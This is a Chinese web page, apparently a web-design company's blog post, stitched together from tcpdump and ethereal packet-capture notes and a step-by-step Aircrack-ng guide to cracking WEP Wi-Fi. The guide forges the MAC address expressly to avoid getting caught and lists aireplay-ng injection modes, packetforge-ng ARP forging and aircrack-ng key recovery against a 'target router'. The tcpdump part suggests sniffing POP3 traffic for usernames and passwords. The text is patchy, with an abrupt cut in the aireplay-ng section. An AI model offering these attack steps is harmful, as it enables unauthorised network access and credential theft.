十年网站开发经验 + 多家企业客户 + 靠谱的建站团队
量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决
------------------------------------tcpdump--------------------------------
创新互联主营普兰网站建设的网络公司,主营网站建设方案,成都app开发,普兰h5小程序制作搭建,普兰网站营销推广欢迎普兰等地区企业咨询
协议报文分析器:
sniffer: 商业工具
tcpdump, wireshark(GUI), tshark(CLI)
tcpdump [options] 过滤条件
获取报文的条件:
ip src host 172.16.100.1
tcp src or dst port 21
udp dst port 53
tcp src or dst port 21 AND src host 172.16.100.1
tcp port 21 AND host 172.16.100.1
tcpdump的语法:
tcpdump [options] [Protocol] [Direction] [Host(s)] [Value] [Logical Operations] [Other expression]
Protocol(协议):
Values(取值): ether, fddi, ip, arp, rarp, decnet, lat, sca, moprc, mopdl, tcp and udp.
If no protocol is specified, all the protocols are used.
Direction(流向):
Values(取值): src, dst, src and dst, src or dst
If no source or destination is specified, the "src or dst" keywords are applied. (默认是src or dst)
For example, "host 10.2.2.2" is equivalent to "src or dst host 10.2.2.2".
Host(s)(主机):
Values(替代关键字): net, port, host, portrange.
If no host(s) is specified, the "host" keyword is used. 默认如果此段没有指定关键字,默认即host。
For example, "src 10.1.1.1" is equivalent to "src host 10.1.1.1".
Logical Operations:
(1) and
and or
(2) or
or or ||
(3) except
not or !
常用选项:
-i any : 指定在哪个网卡进行抓包
-n : 不反解主机名
-nn : 不反解主机名与端口号
-X : 以16进制格式与ASCII格式显示报文
-XX : 除了显示X的内容还显示以太网首部
-v, -vv, -vvv : 显示更详细的信息
-c # : Only get x number of packets and then stop.
-s : Define the snaplength (size) of the capture in bytes. Use -s0 to get everything, unless you are intentionally capturing less.
-S : Print absolute sequence numbers.
-e : Get the ethernet header as well.
-q : Show less protocol information.
-E : Decrypt IPSEC traffic by providing an encryption key.
-A :Display Captured Packets in ASCII
-w /path/to/some_file : Capture the packets and write into a file
-r /path/from/some_file : Reading the packets from a saved file
-tttt : Capture packets with proper readable timestamp
eg:
tcpdump -i eth0 -X -nn -vv tcp port 100
可以在报文上面看一下有无user与pass的信息.
tcpdump -i eth0 -X -nn -vv tcp port 110 and ip src 192.168.10.1
ip host 172.16.100.1
ip src host 172.16.100.1
ip dst host 172.16.100.1
ip src and dst host 172.16.100.1
Aircrack-ng系列工具也有Windows 平台版本,但是本人的小黑的始终不能在win下抓包,所以只能 弃 Windows 从Linux 了,另外 Windows 下扫描到的 AP 也比 Linux 下少了很多。其实 Windows 并不完整的支持 TCP/IP 协议族,有些协议Windows 直接丢弃不用。网络本来从一开始就是 Unix 的天下,Windows 只是在后来加入了网络的功能。 Aircrack-ng工具包有很多工具,我用到的工具主要有以下几个: airmon-ng 处理网卡工作模式 airodump-ng 抓包 aircrack-ng 破解 aireplay-ng 发包,干扰 另外还要用到以下 linux 命令: ifconfig 查看修改网卡状态和参数 macchanger 伪造 MAC iwconfig 主要针对无线网卡的工具 (同 ifconfig) iwlist 获取无线网络的更详细信息 另外还有其他的 linux 基本命令,我就不提示了。 具体破解步骤: 1. 修改无线网卡状态:先 dow 2. 伪造无线网卡的 MAC 地址:安全起见,减少被抓到的可能 3. 修改网卡工作模式:进入Monitor状态,会产生一个虚拟的网卡 4. 修改无线网卡状态: up 5. 查看网络状态,记录下 AP 的 MAC 和本机的 MAC ,确定攻击目标 6. 监听抓包:生成 .cap 或 .ivs 7. 干扰无线网络:截取无线数据包,发送垃圾数据包,用来获得更多的有效数据包 8. 破解 .cap 或 .ivs ,获得 WEP 密码,完成破解Crack Mode一共有5种请酌情使用还有网卡不一定是ath1也有可能是wifi0,ath0等等 ifconfig -a ifconfig -a ath0 up airmon-ng start wifi0 6 airodump-ng --ivs -w 目标路由器IVS文件 -c 6 ath1 airodump-ng ath1 aireplay-ng -1 0 -e 目标路由器SSID -a 目标MAC -h 本机MAC ath1 ----------- -2 Crack Mode----------- aireplay-ng -2 -p 0841 -c ffffffffffff -b 目标MAC -h 本机MAC ath1 ----------- -3 Crack Mode----------- aireplay-ng -3 -b 目标MAC -h 本机MAC ath1 ----------- -4 Crack Mode----------- aireplay-ng -4 -b 目标MAC -h 本机MAC ath1 packetforge-ng -0 -a 目标MAC -h 本机MAC -k 255.255.255.255 -l 255.255.255.255 -y .xor -w MyArp aireplay-ng -2 -r MyArp -x 256 ath1 ----------- -5 Crack Mode----------- aireplay-ng -5 -b 目标MAC -h 本机MAC ath1 packetforge-ng -0 -a 目标MAC -h 本机MAC -k 255.255.255.255 -l 255.255.255.255 -y .xor -w MyArp aireplay-ng -2 -r MyArp -x 256 ath1 -----------Crack Key----------- aircrack-ng -n 64 -b 目标MAC 目标路由器IVS文件-01.ivs —————————————————————————————— 下面详细介绍一下各个命令的基本用法(参照命令的英文说明) 1. ifconfig 用来配置网卡,我们这里主要用来 禁用和启用 网卡: ifconfig ath0 down ifconfig ath0 up 禁用一下网卡的目的是为了下一步修改 MAC 。 2.macchanger 用来改变网卡的 MAC 地址,具体用法如下: usage: macchanger [options] device -h 显示帮助 -V 显示版本 -s 显示当前MAC -e 不改变mac,使用硬件厂商写入的MAC -a 自动生成一个同类型的MAC,同厂商的 -A 自动生成一个不同类型的MAC,不同厂商的 -r 生成任意MAC -l 显示已知厂商的网卡MAC地址分配,这个很有用,可以根据MAC查出来是哪个厂商生产的产品 -m 设置一个自定义的MAC 如: macchanger --mac=00:34:00:00:00:00 ath0 。 3.airmon-ng 启动无线网卡进入 Monitor 模式, useage: airmon-ng startstopcheck interface [channel] startstopcheck启动,停止,检测 interface指定无线网卡 [channel] 监听频道,现代大多数无线路由默认是 6,随便扫描一下都是这个频道,网管们应该换换了 4.iwconfig 专用的无线网卡配置工具,用来配置特殊的网络信息,不带参数时显示可用网络。 useage:iwconfig interface [options] [essid{NNONOFF}] 指定essid号 开启关闭 [nwid{NNonoff}] 指定网络id号 开启关闭 [mode {managedad-hoc....}] 指定无线网络工作模式/类型 [freq N.NNNN[KMG]] 指定工作频率 [channel N] 指定频道 [ap {Noffauto}] 指定AP号 关闭/自动 [sens N] sens 号 [nick N] nick 号 [rate {Nautofixed}] 速率控制 [rts {Nautofixedoff}] rts控制,如果不知道什么是RTS,那就回去好好去学网络,不用往下看了 [frag {Nautofixedoff}] 碎片控制 [enc {NNNN-NNNNoff}] 范围 [power {period Ntimeout N}] 电源 频率/超时 [retry {limit Nlifetime N}] 重试 限次/超时 [txpower N{mwdBm}] 功率 毫瓦/分贝 [commit] 处理 5.iwlist 主要用来显示无线网卡的一些附加信息,同上 useage: iwlist [interface] options scanning 扫描 frequency 频率 channel 频道 bitrate 速率 rate 速率 encryption 加密 key 密钥 power 电源 txpower 功率 ap ap accespoints ap peers 直连 event 事件 6.airodump-ng 抓包工具,我最喜欢用的,详细用法如下: usage: airodump-ng options interface[,interface,...] Options: --ivs :仅将抓取信息保存为 .ivs --gpsd :使用 GPSd --write prefix :保存为指定日文件名,我一般用这个,尤其是多个网络时,指定了也好区分 -w :同 --write --beacons :保存所有的 beacons ,默认情况况下是丢弃那些无用的数据包的 --update secs :显示更新延迟,没有用过 --showack :显示ack/cts/rts状态,还是那句,不知道rts就不用看了 -h :隐藏已知的,配合上面的选项使用 -f msecs :跳频时间 --berlin secs :无数据包接收时延迟显示的时间,这句不太好翻译,意思是当那个信号发出设备没有发出数据包多少时间之后,就停止对它的监视.默认120秒.建议学好英文去读原文,翻译的都会有出入,这是我的理解.(mhy_mhy注) -r file :从指定的文件读取数据包.我也想有人给我抓好包放哪里,呵呵 Filter options: --encrypt suite : 使用密码序列过滤 AP --netmask netmask : 使用掩码过滤 AP --bssid bssid : 使用 bssid 过滤 AP -a : 过滤无关的客户端 默认情况下使用2.4Ghz,你也可以指定其他的频率,通过以下命令操作: --channel channels:指定频道 --band abg :制定带宽 -C frequencies :指定频率MHz --cswitch method : 设置频道交换方式 0 : FIFO (default) 先进先出(默认) 1 : Round Robin 循环 2 : Hop on last 最后一跳 -s : 同上 --help : 显示使用方法,翻译到这里,感觉还是英文的贴切一点,建议读原文 7.aireplay-ng
linux上有两种比较好的抓包工具:ethereal和tcpdump
对于ethereal,有图形界面和字符界面两种方式。
到linux系统上执行rpm -qa | grep ethereal-gnome可查看是否安装了图形版本
但是如果服务器上没有xwin图形环境,那么就只能用字符界面了
命令:tethereal
可选参数:-V、-f
如果只执行tethereal,那么将只抓取数据包的包头,不显示里边的内容。加上-V参数后,即可显示内容。
-f 参数用于过滤,默认情况下将抓取tcp和udp所有协议。
如果想抓取UDP数据包并显示内容,则执行tethereal -V -f udp 即可
另外还可以配合grep命令提取需要的关键内容
tcudump命令是另外一个有用的工具,只能在字符下使用,
tcpdump -n -nn -vv -XX -tttt -c 10 -e
参数:
-n:数字端口
-nn:数字地址
-vv:输出详细信息
-c:抓取包的数量
-e:打印以太网报头信息
-i:选择适配器